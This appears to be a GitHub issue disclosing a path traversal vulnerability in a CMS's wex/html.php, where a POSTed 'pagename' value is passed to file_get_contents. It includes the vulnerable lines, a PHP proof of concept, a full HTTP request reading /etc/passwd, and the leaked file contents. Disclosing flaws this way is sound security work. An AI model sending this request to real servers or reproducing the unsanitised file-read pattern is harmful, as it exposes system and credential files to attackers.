

New issue

[Jump to bottom](#)

## Path Traversal vulnerability in wcms/wex/html.php #12

[Open](#) nenf opened this issue on Jul 20, 2020 · 1 comment

nenf commented on Jul 20, 2020

Hi, dev team!

There is Path Traversal vulnerability in wcms/wex/html.php file.

The vulnerable code is:

```
wcms/wex/core/classes/Pagename.php:16: $_SESSION['pagename'] = $_POST['pagename'];
wcms/wex/core/classes/Pagename.php:20: $GLOBALS['pagename'] = $_SESSION['pagename'];
wcms/wex/html.php:17: $html_from_template = htmlspecialchars(file_get_contents($GLOBALS['pagename']));
wcms/wex/html.php:51: :code='<?php echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);?>'
```

Example POC:

```
<?php

$pagename = "/etc/passwd";
$html_from_template = htmlspecialchars(file_get_contents($pagename));
echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);

?>
```

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with "dot-dot-slash (../)" sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files

To prevent vulnerability use next manual: <https://portswigger.net/web-security/file-path-traversal> (prevent section)

Please let me know about any fixes, I would like to register CVE number.

nenf commented on Jul 21, 2020

Author

Here is POC:

```
POST /wex/html.php HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.17763
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/wex/html.php
Cookie: pma_lang=ru; wp-settings-1=mfoldX3DoX26libraryContent%3Dbrowse; wp-settings-time-1=1595165328; PHPSESSID=0f963257d494024262197510312fc2d8
Upgrade-Insecure-Requests: 1
```

```
pagename=/etc/passwd
```

The screenshot shows a web browser window with the address bar displaying 'http://127.0.0.1:8100'. The browser's developer tools are open, showing the 'Request' and 'Response' tabs. The 'Request' tab is selected, and the 'Headers' sub-tab is active. The request body is visible, showing 'pagename=/etc/passwd'. The 'Response' tab is also open, showing the 'Render' sub-tab. The response body displays the contents of the file /etc/passwd, which includes system user accounts and their associated shell and home directories. The response is highlighted with a red box.

Request:

```
1 POST /wex/html.php HTTP/1.1
2 Host: 127.0.0.1:8100
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.17763
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 20
9 Origin: http://127.0.0.1:8100
10 Connection: close
11 Referer: http://127.0.0.1:8100/wex/html.php
12 Cookie: pma_lang=ru; wp-settings-1=mfoldX3DoX26libraryContent%3Dbrowse; wp-settings-time-1=1595165328; PHPSESSID=0f963257d494024262197510312fc2d8
13 Upgrade-Insecure-Requests: 1
14
15 pagename=/etc/passwd
```

Response:

```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534:/nonexistent:/bin/false
20
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

